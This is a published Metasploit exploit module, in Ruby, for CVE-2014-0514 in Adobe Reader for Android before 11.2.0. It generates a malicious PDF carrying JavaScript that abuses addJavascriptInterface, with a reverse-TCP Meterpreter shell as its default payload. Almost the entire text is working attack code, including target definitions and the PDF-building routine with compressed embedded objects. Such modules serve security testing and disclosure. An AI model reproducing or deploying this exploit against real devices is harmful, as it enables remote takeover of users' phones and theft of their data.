Adobe Reader for Android < 11.2.0 - 'addJavascriptInterface' Local Overflow (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/fileformat' require 'msf/core/exploit/pdf' require 'msf/core/exploit/android' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::PDF include Msf::Exploit::Android def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe Reader for Android addJavascriptInterface Exploit', 'Description' => %q{ Adobe Reader versions less than 11.2.0 exposes insecure native interfaces to untrusted javascript in a PDF. This module embeds the browser exploit from android/webview_addjavascriptinterface into a PDF to get a command shell on vulnerable versions of Reader. }, 'License' => MSF_LICENSE, 'Author' => [ 'Yorick Koster', # discoverer 'joev' # msf module ], 'References' => [ [ 'CVE', '2014-0514' ], [ 'EDB', '32884' ], [ 'OSVDB', '105781' ], ], 'Platform' => 'android', 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Android ARM', { 'Platform' => 'android', 'Arch' => ARCH_ARMLE } ], [ 'Android MIPSLE', { 'Platform' => 'android', 'Arch' => ARCH_MIPSLE } ], [ 'Android X86', { 'Platform' => 'android', 'Arch' => ARCH_X86 } ] ], 'DisclosureDate' => 'Apr 13 2014', 'DefaultTarget' => 0 )) register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit print_status("Generating Javascript exploit...") js = add_javascript_interface_exploit_js(ARCH_ARMLE) print_status("Creating PDF...") file_create(pdf(js)) end def trailer(root_obj) id = @xref.keys.max+1 "trailer" << eol << "<</Size %d/Root " % id << ioRef(root_obj) << ">>" << eol end def add_compressed(n, data) add_object(n, Zlib::Inflate.inflate(Rex::Text.decode_base64(data))) end def pdf(js) self.eol = "\x0d" @xref = {} @pdf = header('1.6') add_compressed(25, "eJzjtbHRd0wuynfLL8pVMDFQMFAI0vdNLUlMSSxJVDAGc/0Sc1OLFYyNwBz/0pKczDwg3xzMDUhMB7INzcCc4ILMlNQiz7y0fAUjiOrgkqLS5JKQotTUoPz8EgVDiPkhlQWp+s5AC3Ly0+3seAG6CSa9") add_compressed(40, "eJzjtbHRd3HU0PdIzSlTMFAISQMS6Qqa+i5BQAnXvOT8lMy8dCAzwMXNJT8ZJqBgYgpUF2Rnp++Wn1cClPZIdcpXMLYECUKMMjEHs6MSXZIUTCwgikHKM1NzUoqjjcEisXZ2vADEuSJw") add_compressed(3, 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<< trailer(25) << startxref @pdf end end |